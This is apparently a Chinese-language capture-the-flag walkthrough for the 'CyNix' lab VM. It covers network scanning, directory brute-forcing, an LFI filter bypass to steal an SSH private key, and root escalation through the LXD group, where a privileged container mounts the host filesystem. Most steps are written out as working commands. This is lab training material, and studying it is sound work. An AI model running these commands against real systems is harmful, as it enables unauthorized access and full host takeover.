CyNix
主机发现
1 netdiscover -i eth0 -r 192.168.15.0/24
端口扫描
1 nmap -A -p- -sV 192.168.15.157
访问80端口
目录扫描
1 gobuster dir -u http://192.168.15.157 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
访问/lavalamp子目录
在CONCAT提交会出现一个空白框
使用burp进行流量截取
复制URL打开发现有内容被隐藏,修改数值为1.0即可显示
继续开启监听,发现参数是file,可能存在LIF漏洞
被过滤了不允许访问
加上a成功绕过
发现可登录用户ford
采用另一个端口(6688)进行ssh连接
1 ssh ford@192.168.15.157 -p 6688
显示关闭了密码登录,所以需要一个私钥进行登录
补充说明:私钥一般和公钥放在一起,理论上都在用户的家目录中
复制私钥并赋予合理的权限再次进行连接
获取到第一个flag
使用LinEnum工具进行提权
链接:https://github.com/rebootuser/LinEnum
把当前目录利用python进行发布
在靶机上下载脚本,赋予执行权限后执行脚本
再次补充:
LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。
LXD提权原理:LXD 是基于 LXC 容器的管理程序,当前用户可操作容器。所以用户可创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
LXD 提权条件: 已经获得 shell 用户属于 lxd 组
查看镜像列表
1 lxc image list
按照实际情况,需要创建一个特权镜像,但往往会失败,所以这里选择在kali生成镜像,然后复制到靶机上面
先在kali上面下载alpine,然后生成镜像
链接:https://github.com/saghul/lxd-alpine-builder
发布当前目录,在靶机上进行复制
导入镜像并对其重命名
1 lxc image import alpine-v3.20-x86_64-20240531_2302.tar.gz --alias hacker
创建容器
1 lxc init hacker hacker -c security.privileged=true
将容器hacker挂载到 /mnt/root 下
1 lxc config device add hacker hacker disk source=/ path=/mnt/root recursive=true
启动容器
1 lxc start hacker
与主机进行交互
1 lxc exec hacker /bin/sh
获取到第二个flag